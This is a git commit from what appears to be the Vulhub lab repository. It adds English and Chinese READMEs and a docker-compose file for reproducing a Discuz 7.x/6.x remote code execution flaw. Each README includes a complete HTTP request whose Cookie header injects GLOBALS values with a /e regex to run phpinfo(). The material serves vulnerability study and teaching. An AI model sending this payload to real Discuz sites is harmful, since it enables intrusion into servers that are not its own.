first commit
Some checks failed
Vulhub Format Check and Lint / format-check (push) Has been cancelled
Vulhub Format Check and Lint / markdown-check (push) Has been cancelled
Vulhub Docker Image CI / longtime-images-test (push) Has been cancelled
Vulhub Docker Image CI / images-test (push) Has been cancelled
Some checks failed
Vulhub Format Check and Lint / format-check (push) Has been cancelled
Vulhub Format Check and Lint / markdown-check (push) Has been cancelled
Vulhub Docker Image CI / longtime-images-test (push) Has been cancelled
Vulhub Docker Image CI / images-test (push) Has been cancelled
This commit is contained in:
BIN
discuz/wooyun-2010-080723/1.png
Normal file
BIN
discuz/wooyun-2010-080723/1.png
Normal file
Binary file not shown.
After Width: | Height: | Size: 30 KiB |
BIN
discuz/wooyun-2010-080723/2.png
Normal file
BIN
discuz/wooyun-2010-080723/2.png
Normal file
Binary file not shown.
After Width: | Height: | Size: 56 KiB |
51
discuz/wooyun-2010-080723/README.md
Normal file
51
discuz/wooyun-2010-080723/README.md
Normal file
@@ -0,0 +1,51 @@
|
||||
# Discuz 7.x/6.x Remote Code Execution via Global Variable Override
|
||||
|
||||
[中文版本(Chinese version)](README.zh-cn.md)
|
||||
|
||||
Discuz is a popular forum software widely used in China. A remote code execution vulnerability exists in Discuz 7.x/6.x versions due to insufficient global variable protection.
|
||||
|
||||
In PHP 5.3.x, the default value of `request_order` in php.ini is set to "GP", which means `$_REQUEST` no longer includes `$_COOKIE` by default. This allows attackers to override global variables through cookies by injecting `$GLOBALS`, leading to remote code execution.
|
||||
|
||||
References:
|
||||
|
||||
- <https://www.secpulse.com/archives/2338.html>
|
||||
|
||||
## Environment Setup
|
||||
|
||||
Execute the following command to start Discuz 7.2:
|
||||
|
||||
```
|
||||
docker compose up -d
|
||||
```
|
||||
|
||||
After starting the container, visit `http://your-ip:8080/install/` to install Discuz. Use the following database settings:
|
||||
|
||||
- Database Host: `db`
|
||||
- Database Name: `discuz`
|
||||
- Username: `root`
|
||||
- Password: `root`
|
||||
|
||||

|
||||
|
||||
## Vulnerability Reproduction
|
||||
|
||||
After installation, find an existing post and send a request with the following cookie that contains the payload `GLOBALS[_DCACHE][smilies][searcharray]=/.*/eui; GLOBALS[_DCACHE][smilies][replacearray]=phpinfo();`:
|
||||
|
||||
```
|
||||
GET /viewthread.php?tid=10&extra=page%3D1 HTTP/1.1
|
||||
Host: your-ip:8080
|
||||
Accept-Encoding: gzip, deflate
|
||||
Accept: */*
|
||||
Accept-Language: en
|
||||
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
|
||||
Cookie: GLOBALS[_DCACHE][smilies][searcharray]=/.*/eui; GLOBALS[_DCACHE][smilies][replacearray]=phpinfo();
|
||||
Connection: close
|
||||
|
||||
|
||||
```
|
||||
|
||||
The `phpinfo()` function will be successfully executed, demonstrating the remote code execution vulnerability:
|
||||
|
||||

|
||||
|
||||
> Note: Some articles online claim that a post with an emoji comment is required, but the actual test found that it was not necessary, and the reason still needs to be analyzed from the code.
|
45
discuz/wooyun-2010-080723/README.zh-cn.md
Normal file
45
discuz/wooyun-2010-080723/README.zh-cn.md
Normal file
@@ -0,0 +1,45 @@
|
||||
# Discuz 7.x/6.x 全局变量防御绕过导致代码执行漏洞
|
||||
|
||||
Discuz是一个广泛使用的论坛软件系统。在Discuz 7.x/6.x版本中存在一个由于全局变量保护不足导致的远程代码执行漏洞。
|
||||
|
||||
由于PHP 5.3.x版本中php.ini的设置里`request_order`默认值为"GP",导致`$_REQUEST`中不再包含`$_COOKIE`数据。攻击者可以通过在Cookie中传入`$GLOBALS`来覆盖全局变量,最终造成远程代码执行漏洞。
|
||||
|
||||
参考链接:
|
||||
|
||||
- <https://www.secpulse.com/archives/2338.html>
|
||||
|
||||
## 环境搭建
|
||||
|
||||
执行如下命令启动Discuz 7.2:
|
||||
|
||||
```
|
||||
docker compose up -d
|
||||
```
|
||||
|
||||
启动后,访问`http://your-ip:8080/install/`来安装Discuz,使用以下数据库配置:
|
||||
|
||||
- 数据库地址:`db`
|
||||
- 数据库名:`discuz`
|
||||
- 数据库账号:`root`
|
||||
- 数据库密码:`root`
|
||||
|
||||

|
||||
|
||||
## 漏洞复现
|
||||
|
||||
安装成功后,找到一个已存在的帖子,向其发送数据包,并在Cookie中增加payload `GLOBALS[_DCACHE][smilies][searcharray]=/.*/eui; GLOBALS[_DCACHE][smilies][replacearray]=phpinfo();`:
|
||||
|
||||
```
|
||||
GET /viewthread.php?tid=10&extra=page%3D1 HTTP/1.1
|
||||
Host: your-ip:8080
|
||||
Accept-Encoding: gzip, deflate
|
||||
Accept: */*
|
||||
Accept-Language: en
|
||||
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
|
||||
Cookie: GLOBALS[_DCACHE][smilies][searcharray]=/.*/eui; GLOBALS[_DCACHE][smilies][replacearray]=phpinfo();
|
||||
Connection: close
|
||||
```
|
||||
|
||||
可以看到`phpinfo()`函数被成功执行,证明远程代码执行漏洞利用成功:
|
||||
|
||||

|
12
discuz/wooyun-2010-080723/docker-compose.yml
Normal file
12
discuz/wooyun-2010-080723/docker-compose.yml
Normal file
@@ -0,0 +1,12 @@
|
||||
services:
|
||||
discuz:
|
||||
image: vulhub/discuz:7.2
|
||||
depends_on:
|
||||
- db
|
||||
ports:
|
||||
- "8080:80"
|
||||
db:
|
||||
image: mysql:5.5
|
||||
environment:
|
||||
MYSQL_ROOT_PASSWORD: root
|
||||
MYSQL_DATABASE: discuz
|
Reference in New Issue
Block a user